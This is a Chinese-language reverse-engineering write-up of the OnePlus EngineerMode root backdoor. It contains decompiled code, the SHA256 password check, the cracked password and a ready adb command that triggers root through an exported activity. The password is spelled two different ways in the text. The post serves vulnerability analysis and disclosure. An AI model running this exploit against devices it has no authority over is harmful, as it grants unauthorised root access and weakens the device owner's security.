一加手机 Root 后门分析

 

漏洞细节

在一加的工程模式中存在 Root 提权后门,该漏洞由 nowsecure 团队发现。详情可点击https://www.nowsecure.com/blog/2017/11/14/oneplus-device-root-exploit-backdoor-engineermode-app-diagnostics-mode/ 参考。

类 com.android.engineeringmode.qualcomm.DiagEnabled 存在权限提升后门

private boolean escalatedUp(boolean arg7, String arg8) {
        boolean v1 = true;
        if(arg7) {
            if(arg8 != null) {
                arg7 = Privilege.escalate(arg8);
                if(arg7) {
                    SystemProperties.set("persist.sys.adbroot", "1");
                    SystemProperties.set("oem.selinux.reload_policy", "1");
                }

                String v4 = "DiagEnabled";
                StringBuilder v5 = new StringBuilder().append("privilege escalate ");
                String v3 = arg7 ? "success" : "failed";
                Log.d(v4, v5.append(v3).toString());
            }
            else {
                arg7 = false;
            }

            v1 = arg7;
        }
        else {
            SystemProperties.set("persist.sys.adbroot", "0");
            Privilege.recover();
        }

        SharedPreferences$Editor v0 = this.getSharedPreferences("privilege", 0).edit();
        v0.putBoolean("escalated", arg7);
        v0.commit();
        this.updatePrivilegeButton();
        if(v1) {
            if("0".equals(SystemProperties.get("persist.sys.adbroot", "1"))) {
                new Thread(new Runnable() {
                    public void run() {
                        Log.i("DiagEnabled", "reboot device...");
                        DiagEnabled.this.getSystemService("power").reboot(null);
                    }
                }).start();
            }
            else {
                SystemProperties.set("ctl.restart", "adbd");
            }
        }

        return v1;
    }

由以上代码逻辑可知,要使得代码执行到SystemProperties.set(“persist.sys.adbroot”, “1”);(adb shell 变 root),需要使Privilege.escalate(arg8);返回true。escalate()是 native 函数,实现在 libdoor.so里。

root@OnePlus:/system/lib # ls|grep door
libdoor.so
root@OnePlus:/system/lib #

逆向发现,该函数使用 JNI_Onload 进行动态函数注册

signed int __fastcall JNI_OnLoad(int *a1, int a2)
{
  int v2; // r2
  int v3; // r3
  const char *v4; // r2
  int v5; // r4
  int v6; // r1
  const char *v7; // r2
  int v9; // [sp+4h] [bp-14h]

  v9 = a2;
  v2 = *a1;
  v9 = 0;
  if ( (*(int (__cdecl **)(int *))(v2 + 24))(a1) )
  {
    v4 = "ERROR: GetEnv failed\n";
  }
  else
  {
    v5 = v9;
    v6 = (*(int (__fastcall **)(int, const char *))(*(_DWORD *)v9 + 24))(
           v9,
           "com/android/engineeringmode/qualcomm/Privilege");
    if ( v6 )
    {
      if ( (*(int (__fastcall **)(int, int, char **, signed int))(*(_DWORD *)v5 + 860))(v5, v6, off_5028, 3) >= 0 ) // ----> 查看 0ff_5028
        return 65540;
      v7 = "RegisterNatives failed for '%s'\n";
    }
    else
    {
      v7 = "Native registration unable to find class '%s'\n";
    }
    _android_log_print(3, "door", v7, "com/android/engineeringmode/qualcomm/Privilege");
    v4 = "ERROR: BinaryDictionary native registration failed\n";
  }
  _android_log_print(3, "door", v4, v3);
  return -1;
}

0ff_5028 数据取放置的是各个动态函数的地址,找到escalate()地址为sub_C40。

.data:00005028 off_5028        DCD aIsescalated        ; DATA XREF: JNI_OnLoad+4C↑o
.data:00005028                                         ; .text:off_1188↑o
.data:00005028                                         ; "isEscalated"
.data:0000502C                 DCD aZ                  ; "()Z"
.data:00005030                 DCD sub_C40+1
//------------------------------------------------------------------------------
.data:00005034                 DCD aEscalate           ; "escalate"
.data:00005038                 DCD aLjavaLangStrin     ; "(Ljava/lang/String;)Z"
.data:0000503C                 DCD sub_1004+1 // ----> 函数地址
//------------------------------------------------------------------------------

.data:00005040                 DCD aRecover            ; "recover"
.data:00005044                 DCD aV                  ; "()V"
.data:00005048                 DCD sub_B70+1
.data:00005048 ; .data         ends

bool __fastcall sub_1004(int a1, int a2, int a3)
{
  int v3; // r8
  int v4; // r7
  const char *v5; // r6
  size_t v6; // r9
  int v7; // r3
  int v8; // r4
  char v10; // [sp+4h] [bp-BCh]
  int v11; // [sp+74h] [bp-4Ch]
  int v12; // [sp+78h] [bp-48h]
  char v13; // [sp+7Ch] [bp-44h]

  v3 = a3;
  v4 = a1;
  v5 = (const char *)(*(int (**)(void))(*(_DWORD *)a1 + 676))();
  (*(void (__fastcall **)(int, int))(*(_DWORD *)v4 + 672))(v4, v3);
  v11 = 235212815;
  v12 = 302976772;
  if ( !v5 || !*v5 )
    goto LABEL_6;
  v6 = strlen(v5);
  SHA256_Init(&v10);
  SHA256_Update(&v10, v5, v6);
  SHA256_Final(&v13, &v10);
  if ( memcmp(&v13, &unk_5008, 0x20u) ) // 输入密码校验,也就是escalate()的第二个参数
  {
    _android_log_print(3, "door", "password verify failed\n", v7);
LABEL_6:
    v8 = -1;
    goto LABEL_7;
  }
  _android_log_print(3, "door", "password verify passed\n", v7);
  v8 = sub_CC8(&v11);
LABEL_7:
  (*(void (__fastcall **)(int, int, const char *))(*(_DWORD *)v4 + 680))(v4, v3, v5);
  return v8 == 0;
}

 

unk_5008数据区域存放的值是79a6a933dfc9b1975e444d4e8481c64c771d8ab40b7ac72f8bc1a1bca1718bef,这里是与escalate()函数第二个参数进行 SHA256 后的值进行比较,看是否相等,相等则返回 true,那么接下来就会打开 root 权限。那么什么字符串的SHA256值是上面的数据呢? 在hashtoolkit.com进行 sha256 解密得:

标题: fig:

密码是angla。

 

Exploit

protected void onCreate(Bundle arg4) {
        super.onCreate(arg4);
        this.setContentView(2130903082);
        this.mSerial = this.findViewById(2131493027);
        this.mSerial.setOnCheckedChangeListener(((CompoundButton$OnCheckedChangeListener)this));
        this.mDiag = this.findViewById(2131493026);
        this.mDiag.setOnCheckedChangeListener(((CompoundButton$OnCheckedChangeListener)this));
        this.mAllDiag = this.findViewById(2131493028);
        this.mAllDiag.setOnCheckedChangeListener(((CompoundButton$OnCheckedChangeListener)this));
        this.mRndisAndDiag = this.findViewById(2131493029);
        this.mRndisAndDiag.setOnCheckedChangeListener(((CompoundButton$OnCheckedChangeListener)this));
        this.mPrivilege = this.findViewById(2131493031);
        this.mPrivilege.setOnClickListener(((View$OnClickListener)this));
        this.mPrivilege.setVisibility(4);
        this.findViewById(2131493030).setVisibility(4);
        this.mUsbManager = this.getSystemService("usb");
        if(this.getIntent() != null) {
            this.escalatedUp(true, this.getIntent().getStringExtra("code"));//----->
        }

        if(Feature.isSerialCdevSupported(((Context)this))) {
            DiagEnabled.ALLDIAG_USB_CONFIG = "diag,serial_cdev,serial_tty,rmnet_ipa,mass_storage,adb";
        }
    }

com.android.engineeringmode.qualcomm.DiagEnabled类是一个 Activity 类,且 exported 属性设置为了true,故而可以直接通过 adb 进行调用。从以上代码可知,escalate() 第二个参数,又可以通过 Intent 的方式进行传递,故而我们也可以在 adb 里使用 am 进行发送第二个参数angela。 最终我们构造的 exploit 代码为:

$ adb shell am start -n com.android.engineeringmode/.qualcomm.DiagEnabled --es "code" "angela"

再次执行 adb shell 将会获取 root shell。

 

漏洞修复

一加 1 – 5 之后,直接关闭了用户对工程模式的访问。

(完)